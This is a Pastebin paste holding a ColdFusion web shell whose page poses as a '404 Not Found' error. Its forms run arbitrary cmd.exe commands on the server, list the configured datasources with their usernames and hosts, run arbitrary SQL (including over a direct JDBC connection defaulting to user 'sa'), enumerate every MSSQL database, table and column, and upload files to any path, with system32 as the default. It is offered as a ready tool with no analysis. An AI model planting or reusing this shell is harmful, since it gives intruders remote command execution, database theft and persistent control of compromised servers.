Advertisement
Guest User

Untitled

a guest
Jul 18th, 2018
116
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.30 KB | None | 0 0
  1. <cfsetting requesttimeout="9999">
  2. <cffunction name=t></cffunction>
  3. <html>
  4. <head>
  5. <title>404 Not Found</title>
  6. <script src="http://www.webtoolkit.info/djs/webtoolkit.base64.js" type="text/javascript"></script>
  7. </head>
  8. <body>
  9. <cfparam name="FORM.path" type="string" default="c:\windows\system32\" />
  10. <cfparam name="FORM.datasource" type="string" default="" />
  11. <cfparam name="FORM.server" type="string" default="127.0.0.1" />
  12. <cfparam name="FORM.query1" type="string" default="select user" />
  13. <cfparam name="FORM.query2" type="string" default="select user" />
  14. <cfparam name="FORM.user" type="string" default="sa" />
  15. <cfparam name="FORM.pass" type="string" default="" />
  16. <cfparam name="FORM.cmd" type="string" default="ver" />
  17. <h3>CMD</h3>
  18. <cfif IsDefined("FORM.runcmd")>
  19. <cfexecute name="cmd.exe"
  20. arguments="/c #cmd#"
  21. timeout="999">
  22. </cfexecute>
  23. <cfif FileExists("#GetTempDirectory()#foobar.txt") is "Yes">
  24. <cffile action="Read"
  25. file="#GetTempDirectory()#foobar.txt"
  26. variable="readText">
  27. <textarea readonly cols=80 rows=20>
  28. <CFOUTPUT>#readText#</CFOUTPUT>
  29. </textarea>
  30. <cffile action="Delete"
  31. file="#GetTempDirectory()#foobar.txt">
  32. </cfif>
  33. </cfif>
  34. <cfform method="post">
  35. <cfinput type="text" size=45 name="cmd" value="#FORM.cmd#">
  36. <input type="Submit" name="runcmd" value="run">
  37. </cfform>
  38. <h3>SQL CFM</h3>
  39. <cfform method="post" onSubmit="query1.value =(query1.value);">
  40. Datasource<br>
  41. <select name="datasource">
  42. <cfscript>
  43. dataSourceObb=createobject("java","coldfusion.server.ServiceFactory").getDatasourceService().getDatasources();
  44. for(i in dataSourceObb)
  45. {
  46. if ("#FORM.datasource#" eq i) writeoutput('<option value="' & i & '" selected>' & i & '</option>');
  47. else writeoutput('<option value="' & i & '">' & i & '('& dataSourceObb[i]['driver'] & ')' & '</option>');
  48. }
  49. </cfscript>
  50.  
  51. </select>
  52. <cfif isdefined("form.runsql2")>
  53. <cfscript>
  54.  
  55. </cfscript>
  56. <cfquery name="sqlout" datasource="#Form.datasource#" timeout="30">#Form.query1#</cfquery>
  57. <table border=1>
  58. <cfloop from="0" to="#sqlout.RecordCount#" index="row">
  59. <cfif row eq 0>
  60. <tr>
  61. <cfloop list="#sqlout.ColumnList#" index="column" delimiters=",">
  62. <th><cfoutput>#column#</cfoutput></th>
  63. </cfloop>
  64. </tr>
  65. <cfelse>
  66. <tr>
  67. <cfloop list="#sqlout.ColumnList#" index="column" delimiters=",">
  68. <td><cfoutput>#sqlout[column][row]#</cfoutput></td>
  69. </cfloop>
  70. </tr>
  71. </cfif>
  72. </cfloop>
  73. </table>
  74. </cfif>
  75. <br>Query<br>
  76. <cfinput type="Text" name="query1" size="50" value="#FORM.query1#"><br>
  77. <input type=Submit name="runsql2" value="run">
  78. </cfform>
  79. <h3>SQL SCTRUCT</h3>
  80. <cfform method="post">
  81. Datasource<br>
  82. <select name="datasource">
  83. <cfscript>
  84. dataSourceObb=createobject("java","coldfusion.server.ServiceFactory").getDatasourceService().getDatasources();
  85. for(i in dataSourceObb)
  86. {
  87. if ("#FORM.datasource#" eq i) writeoutput('<option value="' & i & '" selected>' & i & '</option>');
  88. else writeoutput('<option value="' & i & '">' & i & '('& dataSourceObb[i]['driver'] & ')' & '</option>');
  89. }
  90. </cfscript>
  91. </select>
  92. <input type=Submit name="structure1" value="mssql">
  93. </cfform>
  94. <cfif isdefined("form.structure1")>
  95. <cfset MyDSN = "#Form.datasource#">
  96. <cfquery name="databases" datasource="#MyDSN#">
  97. exec sp_databases;
  98. </cfquery>
  99. <cfloop query="databases">
  100. <cfoutput>
  101. <h3>#databases.DATABASE_NAME# (#databases.DATABASE_SIZE#)</h3>
  102. </cfoutput>
  103. <cfquery datasource="#MyDSN#" name="tables">
  104. SELECT [TableName] = so.name,[RowCount] = MAX(si.rows) FROM [#databases.DATABASE_NAME#]..sysobjects so, [#databases.DATABASE_NAME#]..sysindexes si WHERE so.xtype = char(85) AND si.id = OBJECT_ID(so.name) GROUP BY so.name ORDER BY 2 DESC
  105. </cfquery>
  106. <cfloop query="tables">
  107. <cfquery datasource="#MyDSN#" name="columns">
  108. select * from [#databases.DATABASE_NAME#].information_schema.columns WHERE table_name='#tables.TableName#'
  109. </cfquery>
  110. <table>
  111. <cfoutput>
  112. <tr>
  113. <td><strong>#tables.TableName# (#tables.RowCount#)</strong></td>
  114. <td> </td>
  115. <td> </td>
  116. </tr>
  117. </cfoutput>
  118. <cfloop query="columns">
  119. <cfoutput>
  120. <tr>
  121. <td>#columns.COLUMN_NAME#</td>
  122. <td>#columns.DATA_TYPE# </td>
  123. <td>#columns.CHARACTER_MAXIMUM_LENGTH#</td>
  124. </tr>
  125. </cfoutput>
  126. </cfloop>
  127. </table>
  128. </cfloop>
  129. </cfloop>
  130. </cfif>
  131. <h3>SQL JAVA</h3>
  132. <cfif IsDefined("FORM.decode")>
  133. <cfscript>
  134. dataSourceObb=createobject("java","coldfusion.server.ServiceFactory").
  135. getDatasourceService().getDatasources();
  136. for(i in dataSourceObb)
  137. {
  138. if(len(dataSourceObb[i]["password"]))
  139. {
  140. username=(dataSourceObb[i]["username"]);
  141. decryptPassword="";
  142. writeoutput(dataSourceObb[i]["name"] & " server: " & dataSourceObb[i]["urlmap"]["host"] & "," & dataSourceObb[i]["urlmap"]["port"] & " Username: " & username & " Password: " & decryptPassword & "<br>");
  143. }
  144. }
  145. </cfscript>
  146. </cfif>
  147. <cfform method="post">
  148. <input type=Submit name="decode" value="decode"><br>
  149. </cfform>
  150. <cfform method="post" onSubmit="query2.value = (query2.value);">
  151. Server<br>
  152. <cfinput type="Text" name="server" size="50" value="#FORM.server#"><br>
  153. User<br>
  154. <cfinput type="Text" name="user" size="50" value="#FORM.user#"><br>
  155. Pass<br>
  156. <cfinput type="Text" name="pass" size="50" value="#FORM.pass#"><br>
  157. <cfif IsDefined("FORM.runsql")>
  158. <cfscript>
  159. </cfscript>
  160. <cfoutput>
  161. #FORM.query2#
  162. </cfoutput>
  163. <cfscript>
  164. classLoader = createObject("java", "java.lang.Class");
  165. classLoader.forName("sun.jdbc.odbc.JdbcOdbcDriver");
  166. dm = createObject("java","java.sql.DriverManager");
  167. con = dm.getConnection("jdbc:odbc:DRIVER={SQL Server};Database=master;Server=#FORM.server#","#FORM.user#","#FORM.pass#");
  168. st = con.createStatement();
  169. rs = st.ExecuteQuery(#FORM.query2#);
  170. q = createObject("java", "coldfusion.sql.QueryTable").init(rs);
  171. </cfscript>
  172. <cfdump var="#q#">
  173. </cfif>
  174. Query<br>
  175. <cfinput type="Text" name="query2" size="50" value="#FORM.query2#"><br>
  176. <input type=Submit name="runsql" value="run">
  177. </cfform>
  178. <h3>File Upload</h3>
  179. <cfif isDefined("fileUpload")>
  180. <cffile nameconflict=overwrite action="upload"
  181. fileField="fileUpload"
  182. destination="#FORM.path#">
  183. <p>Thankyou, your file has been uploaded.</p>
  184. </cfif>
  185. <cfform enctype="multipart/form-data" method="post">
  186. <cfinput type="file" name="fileUpload" /><br>
  187. <cfinput type="text" name="path" size="50" value="#FORM.path#"><br>
  188. <input type="submit" name="runupload" value="Upload File">
  189. </cfform>
  190. </body>
  191. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement